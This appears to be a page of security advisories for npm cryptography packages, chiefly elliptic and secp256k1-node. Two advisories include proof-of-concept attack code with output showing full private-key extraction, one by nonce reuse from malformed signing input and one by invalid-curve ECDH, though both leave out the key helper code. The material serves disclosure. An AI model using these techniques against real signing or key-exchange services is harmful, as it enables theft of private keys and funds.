Version Details and Security Vulnerabilities

ethereumjs-vm 2.4.0 allows attackers to cause a denial of service (vm.runCode failure and REVERT) via a "code: Buffer.from(my_code, 'hex')" attribute.

The Elliptic package 6.5.5 for Node.js for EDDSA implementation does not perform the required check if the signature proof(s) is within the bounds of the order n of the base point of the elliptic curve, leading to signature malleability. Namely, the verify function in lib/elliptic/eddsa/index.js omits sig.S().gte(sig.eddsa.curve.n) || sig.S().isNeg() validation.

This vulnerability could have a security-relevant impact if an application relies on the uniqueness of a signature.

In the Elliptic package 6.5.6 for Node.js, ECDSA signature malleability occurs because BER-encoded signatures are allowed.

In the Elliptic package 6.5.6 for Node.js, ECDSA signature malleability occurs because there is a missing check for whether the leading bit of r and s is zero.

In the Elliptic package 6.5.6 for Node.js, EDDSA signature malleability occurs because there is a missing signature length check, and thus zero-valued bytes can be removed or appended.

The Elliptic prior to 6.6.0 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.

The npm package elliptic before version 6.5.4 are vulnerable to Cryptographic Issues via the secp256k1 implementation in elliptic/ec/key.js. There is no check to confirm that the public key point passed into the derive function actually exists on the secp256k1 curve. This results in the potential for the private key used in this implementation to be revealed after a number of ECDH operations are performed.

The Elliptic package before version 6.5.3 for Node.js allows ECDSA signature malleability via variations in encoding, leading '\0' bytes, or integer overflows. This could conceivably have a security-relevant impact if an application relied on a single canonical signature.

Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })

Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)

Output:

Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a

Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:

Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6

restored is equal to orig mod N.

Impact

Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Summary

In elliptic-based version, loadUncompressedPublicKey has a check that the public key is on the curve: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L37-L39

loadCompressedPublicKey is, however, missing that check: https://github.com/cryptocoinjs/secp256k1-node/blob/6d3474b81d073cc9c8cc8cfadb580c84f8df5248/lib/elliptic.js#L17-L19

That allows the attacker to use public keys on low-cardinality curves to extract enough information to fully restore the private key from as little as 11 ECDH sessions, and very cheaply on compute power

Other operations on public keys are also affected, including e.g. publicKeyVerify() incorrectly returning true on those invalid keys, and e.g. publicKeyTweakMul() also returning predictable outcomes allowing to restore the tweak

Details

The curve equation is Y^2 = X^3 + 7, and it restores Y from X in loadCompressedPublicKey, using Y = sqrt(X^3 + 7), but when there are no valid Y values satisfying Y^2 = X^3 + 7 for a given X, the same code calculates a solution for -Y^2 = X^3 + 7, and that solution also satisfies some other equation Y^2 = X^3 + D, where D is not equal to 7 and might be on a curve with factorizable cardinality, so (X,Y) might be a low-order point on that curve, lowering the number of possible ECDH output values to bruteforcable

Those output values correspond to remainders which can be then combined with Chinese remainder theorem to restore the original value

Endomorphism-based multiplication only slightly hinders restoration and does not affect the fact that the result is low-order

10 different malicious X values could be chosen so that the overall extracted information is 238.4 bits out of 256 bit private key, and the rest is trivially bruteforcable with an additional 11th public key (which might be valid or not -- not significant)

The attacker does not need to receive the ECDH value, they only need to be able to confirm it against a list of possible candidates, e.g. check if using it to decipher block/stream cipher would work -- and that could all be done locally on the attacker side

PoC

Example public key

This key has order 39 One of the possible outcomes for it is a throw, 38 are predictable ECDH values Keys used in full attack have higher order (starting from ~20000), so are very unlikely to cause an error

import secp256k1 from 'secp256k1/elliptic.js'
import { randomBytes } from 'crypto'

const pub = Buffer.from('028ac57f9c6399282773c116ef21f7394890b6140aa6f25c181e9a91e2a9e3da45', 'hex')

const seen = new Set()
for (let i = 0; i < 1000; i++) {
  try {
    seen.add(Buffer.from(secp256k1.ecdh(pub, randomBytes(32))).toString('hex'))
  } catch {
    seen.add('failure also is an outcome')
  }
}

console.log(seen.size) // 39

Full attack

This PoC doesn't list the exact public keys or the code for solver.js intentionally, but this exact code works, on arbitrary random private keys:

// Only the elliptic version is affected, gyp one isn't
// Node.js can use both, Web/RN/bundles always use the elliptic version
import secp256k1 from 'secp256k1/elliptic.js'

import { randomBytes } from 'node:crypto'
import assert from 'node:assert/strict'
import { Solver } from './solver.js'

const privateKey = randomBytes(32)

// The full dataset is precomputed on a single MacBook Air in a few days and can be reused for any private key
const solver = new Solver

// We need to run on 10 specially crafted public keys for this
// Lower than 10 is possible but requires more compute
for (let i = 0; i < 10; i++) {
  const letMeIn = solver.ping() // this is a normal 33-byte Uint8Array, a 02/03-prefixed compressed public key
  assert(letMeIn instanceof Uint8Array) // true
  assert(secp256k1.publicKeyVerify(letMeIn)) // true

  // Returning ecdh value is not necessary but is used in this demo for simplicity
  // Solver needs to _confirm_ an ecdh value against a set of precalculated known ones,
  // which can be done even after it's hashed or used e.g. for a stream/block cipher, based on the encrypted data
  solver.callback(secp256k1.ecdh(letMeIn, privateKey))

  // Btw we have those precomputed so we can actually use those sessions to lower suspicion, most -- instantly
}

// Now, we need a single valid (or another invalid) public key to recheck things against
// It can be anything, e.g. we can specify an 11th one, or create a valid one and use it
// We'll be able to confirm/restore and use the ecdh value for this session too upon privateKey extraction
const anyPublicKey = secp256k1.publicKeyCreate(randomBytes(32))
assert(secp256k1.publicKeyVerify(anyPublicKey)) // true (obviously)

// Full complexity of this exploit requires solver to perform ~ 2^35 ecdh value checks (for all 10 keys combined),
// which is ~ 1 TiB -- that can be done offline and does not require any further interaction with the target
// The exact speed of the comparison step depends on how the ecdh values are used, but is not very significant
// Direct non-indexed linear scan over all possible (precomputed) values takes <10 minutes on a MacBook Air
// Confirming against e.g. cipher output would be somewhat slower, but still definitely possible + also could be precomputed
const extracted = solver.stab(anyPublicKey, secp256k1.ecdh(anyPublicKey, privateKey))

console.log(`Extracted private key:  ${extracted.toString('hex')}`)
console.log(`Actual private key was: ${privateKey.toString('hex')}`)

assert(extracted.toString('hex') === privateKey.toString('hex'))

console.log('Oops')

Result:

Extracted private key:  e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Actual private key was: e3370b1e6726a6ceaa51a2aacf419e25244e0cde08596780da021b238b74df3d
Oops
node example.js  178.80s user 13.59s system 74% cpu 4:17.01 total

Impact

Remote private key is extracted over 11 ECDH sessions

The attack is very low-cost, precompute took a few days on a single MacBook Air, and extraction takes ~10 minutes on the same MacBook Air

Also:

• publicKeyVerify() misreports malicious public keys as valid
• Same affects tweak extraction from publicKeyTweakMul result and other public key operations